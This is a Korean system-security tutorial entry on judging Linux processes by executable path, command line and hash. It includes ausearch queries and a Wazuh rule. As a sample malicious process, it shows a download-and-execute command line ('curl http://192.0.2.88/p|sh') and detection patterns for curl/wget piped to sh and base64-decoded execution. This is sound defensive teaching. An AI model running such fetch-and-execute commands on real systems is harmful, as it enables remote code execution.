시스템 보안 · 취약점 › F. 비정상 프로세스 · 지속성 징후 · 6/50편 (전체 256/450)
학습 단계: 프로세스·지속성 기본 개념
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.
프로세스를 판정하려면 계보(F05) 외에도 실행 경로·명령줄·해시를 봐야 합니다. 이 세 축은 프로세스가 "어디서·어떻게·무엇으로" 실행됐는지를 알려줘, 비정상을 다각도로 평가합니다.
프로세스 분석 3축
① 경로(where): 실행 파일 위치
정상: /usr/bin / 비정상: /tmp·/dev/shm·삭제됨
② 명령줄(how): 실행 인자
정상: 일반 인자 / 비정상: 난독화·인코딩·다운로드+실행
③ 해시(what): 바이너리 식별
정상: 알려진 해시 / 비정상: 변조·미상·악성 해시
계보(F05) + 3축 = 완전한 프로세스 판정
세 축은 서로 보완합니다. 경로가 정상이어도 명령줄이 난독화됐거나 해시가 변조됐으면 비정상입니다.
| 축 | 정상 | 비정상 신호 |
|---|---|---|
| 경로 | /usr/bin | /tmp·/dev/shm·삭제 |
| 명령줄 | 일반 인자 | base64·curl|sh·난독화 |
| 해시 | 알려진 | 변조·미상·악성 IOC |
| 조합 | 전부 정상 | 하나라도 이탈 |
# 프로세스 3축 분석 (분석 방법)
# 경로: 비표준 경로 실행
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -E 'exe=.*(/tmp/|/dev/shm/)' | tail
# 명령줄: 난독화·다운로드+실행 패턴
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -oE 'proctitle=.*(base64|curl.*\|.*sh|wget.*\|.*sh|eval).*'
# 해시: 실행 바이너리 해시(기준선·IOC 대조)
PID=1234; sha256sum /proc/$PID/exe 2>/dev/null
$ (비표준 경로) (없음)
$ (명령줄 패턴) (없음)
$ (해시) 알려진 정상 해시(기준선 일치)
프로세스가 표준 경로·일반 명령줄·알려진 해시로 실행되는, 3축 모두 정상인 상태입니다.
$ (비표준 경로) exe=/tmp/.x
$ (명령줄 패턴) proctitle="sh -c curl http://192.0.2.88/p|sh"
$ (해시) 미상 해시(기준선·VT 미등록 또는 악성 IOC)
curl ...|sh 다운로드+즉시 실행 → 명령줄 축 이탈프로세스 3축 분석 흐름입니다(가상의 예시).
[프로세스] /tmp/.x (sh -c curl ...|sh)
↓ (3축 평가)
① 경로: /tmp → 이탈
② 명령줄: curl|sh → 이탈
③ 해시: 미상 → 이탈
↓ (+ 계보 F05)
[판정] 3축+계보 이탈 → 악성 확정
| 축 | 가치 |
|---|---|
| 경로 | 빠른 1차 선별 |
| 명령줄 | 악성 패턴 |
| 해시 | IOC·변조 식별 |
세 축에 계보(F05)를 더하면 프로세스 판정이 완전해집니다.
<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_f,process,">
<!-- 다운로드+즉시 실행 명령줄 패턴 -->
<rule id="105050" level="12">
<if_sid>105010</if_sid>
<field name="audit.proctitle" type="pcre2">(curl|wget)\s+\S+\s*\|\s*(sh|bash)|base64\s+-d.*\|.*sh|eval\s+.*base64</field>
<description>다운로드+즉시 실행·난독화 명령줄(악성 패턴)</description>
<mitre><id>T1059</id><id>T1105</id></mitre>
</rule>
</group>
해시 대조는 FIM·위협 인텔(IOC) 연계로 구현합니다. 경로·명령줄은 execve proctitle로 탐지합니다.
| 축 | 비정상 신호 |
|---|---|
| 경로 | /tmp·/dev/shm·삭제 |
| 명령줄 | base64·curl|sh·난독화 |
| 해시 | 변조·미상·악성 IOC |
| 조합 | 하나라도 이탈 시 조사 |
| 면접 포인트 | "프로세스는 경로·명령줄·해시+계보로 판정 — 해시는 IOC·변조 식별" |
다음 편 257. 프로세스·지속성 — 지속성(persistence)의 개념과 공격 단계 에서는 지속성 개념을 다루는 지속성(persistence)의 개념과 공격 단계를 다룹니다.
이전 편: 255. 프로세스·지속성 — 프로세스 계보(부모-자식)와 이상 탐지 원리
📚 시리즈 전체 보기: 시스템 보안 · 취약점